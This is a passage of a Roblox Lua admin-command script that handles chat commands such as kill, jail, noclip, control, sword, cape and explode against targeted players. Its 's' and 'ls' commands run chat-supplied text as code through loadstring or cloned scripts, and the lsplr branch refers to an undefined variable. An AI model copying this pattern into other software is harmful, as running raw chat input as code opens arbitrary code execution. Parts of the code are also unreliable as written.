  4368. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  4369. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4370. end
  4371.  
  4372. if msg:lower():sub(1,2) == "s " then
  4373. coroutine.resume(coroutine.create(function()
  4374. Output(msg:sub(3), plr)
  4375. if script:findFirstChild("ScriptBase") then
  4376. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  4377. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  4378. else loadstring(msg:sub(3))()
  4379. end
  4380. end))
  4381. end
  4382.  
  4383. if msg:lower():sub(1,3) == "ls " then
  4384. coroutine.resume(coroutine.create(function()
  4385. if script:findFirstChild("LocalScriptBase") then
  4386. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  4387. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  4388. end
  4389. end))
  4390. end
  4391.  
  4392. if msg:lower():sub(1,6) == "lsplr " then
  4393. local chk1 = msg:lower():sub(7):find(" ") + 6
  4394. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4395. for i, v in pairs(plrz) do
  4396. coroutine.resume(coroutine.create(function()
  4397. if v and v:findFirstChild("PlayerGui") then
  4398. if script:findFirstChild("LocalScriptBase") then
  4399. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  4400. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  4401. end
  4402. end
  4403. end))
  4404. end
  4405. end
  4406.  
  4407. if msg:lower():sub(1,4) == "ins " then
  4408. coroutine.resume(coroutine.create(function()
  4409. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  4410. if obj and #obj:children() >= 1 and plr.Character then
  4411. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  4412. end
  4413. end))
  4414. end
  4415.  
  4416. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  4417. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  4418. RemoveMessage()
  4419. objects = {}
  4420. end
  4421.  
  4422. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  4423. game.Lighting.Ambient = origsettings.abt
  4424. game.Lighting.Brightness = origsettings.brt
  4425. game.Lighting.TimeOfDay = origsettings.time
  4426. game.Lighting.FogColor = origsettings.fclr
  4427. game.Lighting.FogEnd = origsettings.fe
  4428. game.Lighting.FogStart = origsettings.fs
  4429. for i, v in pairs(lobjs) do v:Destroy() end
  4430. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  4431. end
  4432.  
  4433. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  4434. coroutine.resume(coroutine.create(function()
  4435. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  4436. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  4437. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  4438. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  4439. end))
  4440. end
  4441.  
  4442. if msg:lower():sub(1,10) == "countdown " then
  4443. local num = math.min(tonumber(msg:sub(11)),120)
  4444. for i = num, 1, -1 do
  4445. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  4446. wait(1)
  4447. end
  4448. end
  4449.  
  4450. if msg:lower():sub(1,3) == "tm " then
  4451. local chk1 = msg:lower():sub(4):find(" ") + 3
  4452. local num = tonumber(msg:sub(4,chk1-1))
  4453. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  4454. end
  4455.  
  4456. if msg:lower():sub(1,2) == "m " then
  4457. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  4458. end
  4459.  
  4460. if msg:lower():sub(1,2) == "h " then
  4461. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  4462. end
  4463.  
  4464. if msg:lower():sub(1,3) == "pm " then
  4465. local chk1 = msg:lower():sub(4):find(" ") + 3
  4466. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  4467. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  4468. end
  4469.  
  4470. if msg:lower():sub(1,11) == "resetstats " then
  4471. local plrz = GetPlr(plr, msg:lower():sub(12))
  4472. for i, v in pairs(plrz) do
  4473. coroutine.resume(coroutine.create(function()
  4474. if v and v:findFirstChild("leaderstats") then
  4475. for a, q in pairs(v.leaderstats:children()) do
  4476. if q:IsA("IntValue") then q.Value = 0 end
  4477. end
  4478. end
  4479. end))
  4480. end
  4481. end
  4482.  
  4483. if msg:lower():sub(1,5) == "gear " then
  4484. local chk1 = msg:lower():sub(6):find(" ") + 5
  4485. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  4486. for i, v in pairs(plrz) do
  4487. coroutine.resume(coroutine.create(function()
  4488. if v and v:findFirstChild("Backpack") then
  4489. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  4490. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  4491. obj:Destroy()
  4492. end
  4493. end))
  4494. end
  4495. end
  4496.  
  4497. if msg:lower():sub(1,4) == "hat " then
  4498. local chk1 = msg:lower():sub(5):find(" ") + 4
  4499. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  4500. for i, v in pairs(plrz) do
  4501. coroutine.resume(coroutine.create(function()
  4502. if v and v.Character then
  4503. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  4504. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  4505. obj:Destroy()
  4506. end
  4507. end))
  4508. end
  4509. end
  4510.  
  4511. if msg:lower():sub(1,5) == "cape " then
  4512. local chk1 = msg:lower():sub(6):find(" ")
  4513. local plrz = GetPlr(plr, msg:lower():sub(6))
  4514. local str = "torso.BrickColor"
  4515. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4516. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  4517. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  4518. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  4519. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  4520. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  4521. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  4522. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  4523. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  4524. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  4525. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  4526. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  4527. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  4528. if BrickColor.new(teststr) ~= nil then str = teststr end
  4529. end
  4530. for i, v in pairs(plrz) do
  4531. coroutine.resume(coroutine.create(function()
  4532. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  4533. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4534. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  4535. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  4536. local torso = plr.Character.Torso
  4537. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  4538. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  4539. p.Size = Vector3.new(.2,.2,.2)
  4540. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  4541. local motor1 = Instance.new("Motor", p)
  4542. motor1.Part0 = p
  4543. motor1.Part1 = torso
  4544. motor1.MaxVelocity = .01
  4545. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  4546. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  4547. local wave = false
  4548. repeat wait(1/44)
  4549. local ang = 0.1
  4550. local oldmag = torso.Velocity.magnitude
  4551. local mv = .002
  4552. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  4553. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  4554. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  4555. motor1.DesiredAngle = -ang
  4556. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  4557. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  4558. if torso.Velocity.magnitude < .1 then wait(.1) end
  4559. until not p or p.Parent ~= torso.Parent
  4560. script:Destroy()
  4561. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  4562. end
  4563. end))
  4564. end
  4565. end
  4566.  
  4567. if msg:lower():sub(1,7) == "uncape " then
  4568. local plrz = GetPlr(plr, msg:lower():sub(8))
  4569. for i, v in pairs(plrz) do
  4570. coroutine.resume(coroutine.create(function()
  4571. if v and v:findFirstChild("PlayerGui") and v.Character then
  4572. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4573. end
  4574. end))
  4575. end
  4576. end
  4577.  
  4578. if msg:lower():sub(1,7) == "noclip " then
  4579. local plrz = GetPlr(plr, msg:lower():sub(8))
  4580. for i, v in pairs(plrz) do
  4581. coroutine.resume(coroutine.create(function()
  4582. if v and v:findFirstChild("PlayerGui") then
  4583. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  4584. cl.Parent = v.PlayerGui cl.Disabled = false
  4585. end
  4586. end))
  4587. end
  4588. end
  4589.  
  4590. if msg:lower():sub(1,5) == "clip " then
  4591. local plrz = GetPlr(plr, msg:lower():sub(6))
  4592. for i, v in pairs(plrz) do
  4593. coroutine.resume(coroutine.create(function()
  4594. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4595. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  4596. v.Character.Torso.Anchored = false
  4597. wait(.1) v.Character.Humanoid.PlatformStand = false
  4598. end
  4599. end))
  4600. end
  4601. end
  4602.  
  4603. if msg:lower():sub(1,5) == "jail " then
  4604. local plrz = GetPlr(plr, msg:lower():sub(6))
  4605. for i, v in pairs(plrz) do
  4606. coroutine.resume(coroutine.create(function()
  4607. if v and v.Character and v.Character:findFirstChild("Torso") then
  4608. local vname = v.Name
  4609. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  4610. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  4611. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  4612. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4613. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4614. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  4615. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4616. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  4617. end)
  4618. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  4619. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  4620. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  4621. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  4622. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  4623. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  4624. local msh2 = msh:Clone() msh2.Parent = back
  4625. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  4626. local msh4 = msh3:Clone() msh4.Parent = left
  4627. v.Character.Torso.CFrame = cf
  4628. end
  4629. end))
  4630. end
  4631. end
  4632.  
  4633. if msg:lower():sub(1,7) == "unjail " then
  4634. local plrz = GetPlr(plr, msg:lower():sub(8))
  4635. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  4636. end
  4637.  
  4638. if msg:lower():sub(1,11) == "starttools " then
  4639. local plrz = GetPlr(plr, msg:lower():sub(12))
  4640. for i, v in pairs(plrz) do
  4641. coroutine.resume(coroutine.create(function()
  4642. if v and v:findFirstChild("Backpack") then
  4643. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  4644. end
  4645. end))
  4646. end
  4647. end
  4648.  
  4649. if msg:lower():sub(1,6) == "sword " then
  4650. local plrz = GetPlr(plr, msg:lower():sub(7))
  4651. for i, v in pairs(plrz) do
  4652. coroutine.resume(coroutine.create(function()
  4653. if v and v:findFirstChild("Backpack") then
  4654. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  4655. sword.GripForward = Vector3.new(-1,0,0)
  4656. sword.GripPos = Vector3.new(0,0,-1.5)
  4657. sword.GripRight = Vector3.new(0,1,0)
  4658. sword.GripUp = Vector3.new(0,0,1)
  4659. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  4660. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  4661. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  4662. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  4663. local Damage = 15
  4664. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  4665. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  4666. SlashSound.Volume = 1
  4667. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  4668. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  4669. LungeSound.Volume = 1
  4670. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  4671. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  4672. UnsheathSound.Volume = 1
  4673. local last = 0
  4674. script.Parent.Handle.Touched:connect(function(hit)
  4675. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  4676. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  4677. hit.Parent.Humanoid:TakeDamage(Damage)
  4678. end
  4679. end)
  4680. script.Parent.Activated:connect(function()
  4681. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  4682. script.Parent.Enabled = false
  4683. local tick = game:service("RunService").Stepped:wait()
  4684. if tick - last <= .2 then
  4685. LungeSound:play()
  4686. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  4687. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  4688. wait(.2)
  4689. script.Parent.GripForward = Vector3.new(0,0,1)
  4690. script.Parent.GripRight = Vector3.new(0,-1,0)
  4691. script.Parent.GripUp = Vector3.new(-1,0,0)
  4692. wait(.3)
  4693. frc:Destroy() wait(.5)
  4694. script.Parent.GripForward = Vector3.new(-1,0,0)
  4695. script.Parent.GripRight = Vector3.new(0,1,0)
  4696. script.Parent.GripUp = Vector3.new(0,0,1)
  4697. else
  4698. SlashSound:play()
  4699. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  4700. end
  4701. last = tick
  4702. script.Parent.Enabled = true
  4703. end)
  4704. script.Parent.Equipped:connect(function(mouse)
  4705. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  4706. UnsheathSound:play()
  4707. script.Parent.Enabled = true
  4708. if not mouse then return end
  4709. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  4710. end)]] cl.Disabled = false
  4711. end
  4712. end))
  4713. end
  4714. end
  4715.  
  4716. if msg:lower():sub(1,6) == "clone " then
  4717. local plrz = GetPlr(plr, msg:lower():sub(7))
  4718. for i, v in pairs(plrz) do
  4719. coroutine.resume(coroutine.create(function()
  4720. if v and v.Character then
  4721. v.Character.Archivable = true
  4722. local cl = v.Character:Clone()
  4723. table.insert(objects,cl)
  4724. cl.Parent = game.Workspace
  4725. cl:MoveTo(v.Character:GetModelCFrame().p)
  4726. cl:MakeJoints()
  4727. v.Character.Archivable = false
  4728. end
  4729. end))
  4730. end
  4731. end
  4732.  
  4733. if msg:lower():sub(1,8) == "control " then
  4734. local plrz = GetPlr(plr, msg:lower():sub(9))
  4735. for i, v in pairs(plrz) do
  4736. coroutine.resume(coroutine.create(function()
  4737. if v and v.Character then
  4738. v.Character.Humanoid.PlatformStand = true
  4739. local w = Instance.new("Weld", plr.Character.Torso )
  4740. w.Part0 = plr.Character.Torso
  4741. w.Part1 = v.Character.Torso
  4742. local w2 = Instance.new("Weld", plr.Character.Head)
  4743. w2.Part0 = plr.Character.Head
  4744. w2.Part1 = v.Character.Head
  4745. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  4746. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  4747. w3.Part1 = v.Character:findFirstChild("Right Arm")
  4748. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  4749. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  4750. w4.Part1 = v.Character:findFirstChild("Left Arm")
  4751. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  4752. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  4753. w5.Part1 = v.Character:findFirstChild("Right Leg")
  4754. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  4755. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  4756. w6.Part1 = v.Character:findFirstChild("Left Leg")
  4757. plr.Character.Head.face:Destroy()
  4758. for i, p in pairs(v.Character:children()) do
  4759. if p:IsA("BasePart") then
  4760. p.CanCollide = false
  4761. end
  4762. end
  4763. for i, p in pairs(plr.Character:children()) do
  4764. if p:IsA("BasePart") then
  4765. p.Transparency = 1
  4766. elseif p:IsA("Hat") then
  4767. p:Destroy()
  4768. end
  4769. end
  4770. v.Character.Parent = plr.Character
  4771. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  4772. end
  4773. end))
  4774. end
  4775. end
  4776.  
  4777. if msg:lower():sub(1,5) == "kill " then
  4778. local plrz = GetPlr(plr, msg:lower():sub(6))
  4779. for i, v in pairs(plrz) do
  4780. coroutine.resume(coroutine.create(function()
  4781. if v and v.Character then v.Character:BreakJoints() end
  4782. end))
  4783. end
  4784. end
  4785.  
  4786. if msg:lower():sub(1,8) == "respawn " then
  4787. local plrz = GetPlr(plr, msg:lower():sub(9))
  4788. for i, v in pairs(plrz) do
  4789. coroutine.resume(coroutine.create(function()
  4790. if v and v.Character then v:LoadCharacter() end
  4791. end))
  4792. end
  4793. end
  4794.  
  4795. if msg:lower():sub(1,5) == "trip " then
  4796. local plrz = GetPlr(plr, msg:lower():sub(6))
  4797. for i, v in pairs(plrz) do
  4798. coroutine.resume(coroutine.create(function()
  4799. if v and v.Character and v.Character:findFirstChild("Torso") then
  4800. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  4801. end
  4802. end))
  4803. end
  4804. end
  4805.  
  4806. if msg:lower():sub(1,5) == "stun " then
  4807. local plrz = GetPlr(plr, msg:lower():sub(6))
  4808. for i, v in pairs(plrz) do
  4809. coroutine.resume(coroutine.create(function()
  4810. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4811. v.Character.Humanoid.PlatformStand = true
  4812. end
  4813. end))
  4814. end
  4815. end
  4816.  
  4817. if msg:lower():sub(1,7) == "unstun " then
  4818. local plrz = GetPlr(plr, msg:lower():sub(8))
  4819. for i, v in pairs(plrz) do
  4820. coroutine.resume(coroutine.create(function()
  4821. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4822. v.Character.Humanoid.PlatformStand = false
  4823. end
  4824. end))
  4825. end
  4826. end
  4827.  
  4828. if msg:lower():sub(1,5) == "jump " then
  4829. local plrz = GetPlr(plr, msg:lower():sub(6))
  4830. for i, v in pairs(plrz) do
  4831. coroutine.resume(coroutine.create(function()
  4832. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4833. v.Character.Humanoid.Jump = true
  4834. end
  4835. end))
  4836. end
  4837. end
  4838.  
  4839. if msg:lower():sub(1,4) == "sit " then
  4840. local plrz = GetPlr(plr, msg:lower():sub(5))
  4841. for i, v in pairs(plrz) do
  4842. coroutine.resume(coroutine.create(function()
  4843. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4844. v.Character.Humanoid.Sit = true
  4845. end
  4846. end))
  4847. end
  4848. end
  4849.  
  4850. if msg:lower():sub(1,10) == "invisible " then
  4851. local plrz = GetPlr(plr, msg:lower():sub(11))
  4852. for i, v in pairs(plrz) do
  4853. coroutine.resume(coroutine.create(function()
  4854. if v and v.Character then
  4855. for a, obj in pairs(v.Character:children()) do
  4856. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  4857. end
  4858. end
  4859. end))
  4860. end
  4861. end
  4862.  
  4863. if msg:lower():sub(1,8) == "visible " then
  4864. local plrz = GetPlr(plr, msg:lower():sub(9))
  4865. for i, v in pairs(plrz) do
  4866. coroutine.resume(coroutine.create(function()
  4867. if v and v.Character then
  4868. for a, obj in pairs(v.Character:children()) do
  4869. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  4870. end
  4871. end
  4872. end))
  4873. end
  4874. end
  4875.  
  4876. if msg:lower():sub(1,5) == "lock " then
  4877. local plrz = GetPlr(plr, msg:lower():sub(6))
  4878. for i, v in pairs(plrz) do
  4879. coroutine.resume(coroutine.create(function()
  4880. if v and v.Character then
  4881. for a, obj in pairs(v.Character:children()) do
  4882. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  4883. end
  4884. end
  4885. end))
  4886. end
  4887. end
  4888.  
  4889. if msg:lower():sub(1,7) == "unlock " then
  4890. local plrz = GetPlr(plr, msg:lower():sub(8))
  4891. for i, v in pairs(plrz) do
  4892. coroutine.resume(coroutine.create(function()
  4893. if v and v.Character then
  4894. for a, obj in pairs(v.Character:children()) do
  4895. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  4896. end
  4897. end
  4898. end))
  4899. end
  4900. end
  4901.  
  4902. if msg:lower():sub(1,8) == "explode " then
  4903. local plrz = GetPlr(plr, msg:lower():sub(9))
  4904. for i, v in pairs(plrz) do
  4905. coroutine.resume(coroutine.create(function()
  4906. if v and v.Character and v.Character:findFirstChild("Torso") then
  4907. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  4908. end
  4909. end))
  4910. end
  4911. end
  4912.  
  4913. if msg:lower():sub(1,4) == "age " then
  4914. local plrz = GetPlr(plr, msg:lower():sub(5))
  4915. for i, v in pairs(plrz) do
  4916. coroutine.resume(coroutine.create(function()
  4917. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  4918. end))
  4919. end
  4920. end
  4921.  
  4922. if msg:lower():sub(1,5) == "fire " then
  4923. local plrz = GetPlr(plr, msg:lower():sub(6))
  4924. for i, v in pairs(plrz) do
  4925. coroutine.resume(coroutine.create(function()
  4926. if v and v.Character and v.Character:findFirstChild("Torso") then
  4927. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  4928. end
  4929. end))
  4930. end
  4931. end
  4932.  
  4933. if msg:lower():sub(1,7) == "unfire " then
  4934. local plrz = GetPlr(plr, msg:lower():sub(8))
  4935. for i, v in pairs(plrz) do
  4936. coroutine.resume(coroutine.create(function()
  4937. if v and v.Character and v.Character:findFirstChild("Torso") then
  4938. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  4939. end
  4940. end))
  4941. end
  4942. end
  4943.  
  4944. if msg:lower():sub(1,6) == "smoke " then
  4945. local plrz = GetPlr(plr, msg:lower():sub(7))
  4946. for i, v in pairs(plrz) do
  4947. coroutine.resume(coroutine.create(function()
  4948. if v and v.Character and v.Character:findFirstChild("Torso") then
  4949. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  4950. end
  4951. end))
  4952. end
  4953. end
  4954.  
  4955. if msg:lower():sub(1,8) == "unsmoke " then
